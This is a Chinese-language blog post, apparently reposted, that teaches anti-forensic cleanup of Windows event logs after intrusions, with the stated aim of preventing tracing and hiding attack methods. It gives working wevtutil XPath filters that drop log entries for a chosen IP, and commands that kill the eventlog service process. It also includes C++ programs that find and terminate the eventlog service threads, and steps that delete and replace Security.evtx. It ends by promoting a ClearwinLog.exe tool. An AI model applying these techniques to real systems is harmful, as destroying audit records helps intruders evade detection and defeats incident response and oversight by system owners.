前言
痕迹清理技术是渗透测试中的关键环节,它旨在消除操作痕迹以防止溯源、隐藏攻击手法,并为进一步的渗透活动争取时间。然而,并非每次渗透都需要痕迹清理,这应根据具体目标和情境来决定,以确保每一步行动都具有明确的目的和必要性。
此文章主要来聊一下在实际环境中,更精细,更灵活的清理Windows系统日志。
工具可根据XPath语法清除指定的任意日志。
Windows日志相关知识
Windows的日志文件分为3类核心日志,分别是系统日志,程序日志,和安全日志。
系统日志(SysEvent):
记录操作系统产生的事件,如设备驱动无法正常启动或停止,系统进程崩溃等
%SystemRoot%\System32\Winevt\Logs\System.evtx
程序日志(AppEvent):
包含操作应用程序软件相关的事件。事件包括了错误、警告及任何应用程序需要报告的信息。
%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志(SecEvent):
包含安全性相关的事件。用户权限变更,登录及注销,文件/文件夹访问等信息。
%SystemRoot%\System32\Winevt\Logs\Security.evtx
根据IP或时间清理日志思路
首先要处理日志,将与我们相关的登录IP清理掉。
wevtutil
命令可以排除包含特定字符串的日志条目,/q
参数允许你指定一个XPath
查询,该查询可以基于事件数据字段来过滤事件。IpAddress
是字段名,127.0.0.1
是你想要排除的IP地址。
wevtutil epl Security "C:\Windows\System32\Winevt\Logs\Security-Events.evtx" /q:"*[System[not(EventData[Data[@Name='IpAddress']='127.0.0.1'])]]"
过滤完成生成新的日志后,需要暂停日志或者停止日志服务,解除日志文件占用就可以进行替换原来的日志文件。
停止日志一(结束进程)
获取服务日志服务的进程PID,然后将进程结束。日志文件也就解除占用了,在结束进程一段时间后这个进程会自动重启。
$EventlogSvchostPID = Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
taskkill /F /PID $EventlogSvchostPID
停止日志二(结束线程):
这个成熟的工具以及文章已经在之前给过大家了
先获取日志服务进程PID
#include <windows.h>
#include <iostream>
DWORD GetProcessIdFromServiceName(const wchar_t* serviceName) {
SC_HANDLE schSCManager = NULL;
SC_HANDLE schService = NULL;
DWORD processId = 0;
schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (schSCManager == NULL) {
std::cerr << "OpenSCManager failed with error: " << GetLastError() << std::endl;
return 0;
}
schService = OpenService(schSCManager, serviceName, SERVICE_QUERY_STATUS);
if (schService == NULL) {
std::cerr << "OpenService failed with error: " << GetLastError() << std::endl;
CloseServiceHandle(schSCManager);
return 0;
}
SERVICE_STATUS_PROCESS ssp;
DWORD bytesNeeded;
if (QueryServiceStatusEx(schService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) {
processId = ssp.dwProcessId;
}
else {
std::cerr << "QueryServiceStatusEx failed with error: " << GetLastError() << std::endl;
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return processId;
}
int main() {
const wchar_t* serviceName = L"eventlog";
DWORD processId = GetProcessIdFromServiceName(serviceName);
if (processId != 0) {
std::wcout << L"The process ID of the " << serviceName << L" service is: " << processId << std::endl;
}
else {
std::wcerr << L"Failed to get the process ID of the " << serviceName << L" service." << std::endl;
}
return 0;
}
获取到进程PID可以使用Windows API函数CreateToolhelp32Snapshot
和Thread32First
/Thread32Next
获取到线程TID。
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int main() {
DWORD processId = 784;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to create snapshot." << std::endl;
return 1;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, &te32)) {
do {
if (te32.th32OwnerProcessID == processId) {
std::cout << "Thread ID: " << te32.th32ThreadID << std::endl;
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
return 0;
}
通过线程TID检索服务名称,将服务名称为eventlog的线程结束掉。结束掉以后日志服务就失效了。
#include <windows.h>
#include <iostream>
bool TerminateThreadById(DWORD threadId) {
HANDLE hThread = OpenThread(THREAD_TERMINATE, FALSE, threadId);
if (hThread == NULL) {
std::cerr << "OpenThread failed, Error: " << GetLastError() << std::endl;
return false;
}
if (!TerminateThread(hThread, 1)) { // 传入的exit code是示例,可以根据需要更改
std::cerr << "TerminateThread failed, Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
int main() {
DWORD threadId = 1604;
if (TerminateThreadById(threadId)) {
std::cout << "Thread " << threadId << " terminated successfully." << std::endl;
} else {
std::cerr << "Failed to terminate thread " << threadId << std::endl;
}
return 0;
}
成功停止日志以后,日志文件占用解除,将过滤完成的新日志文件进行替换,再重启日志进程完成恢复。
Remove-Item "C:\Windows\System32\Winevt\Logs\Security.evtx" -recurse
ren "C:\Windows\System32\Winevt\Logs\Security-Events.evtx" "C:\Windows\System32\Winevt\Logs\Security.evtx"
工具实现
按照上述思路,开发的工具能够删除安全日志中包含特定IP地址的记录,并支持在指定的小时和分钟内进行清除日志操作。
根据IP地址清除登录日志。
ClearwinLog.exe -ip 127.0.0.1
推荐本站淘宝优惠价购买喜欢的宝贝:
本文链接:https://hqyman.cn/post/9692.html 非本站原创文章欢迎转载,原创文章需保留本站地址!
休息一下~~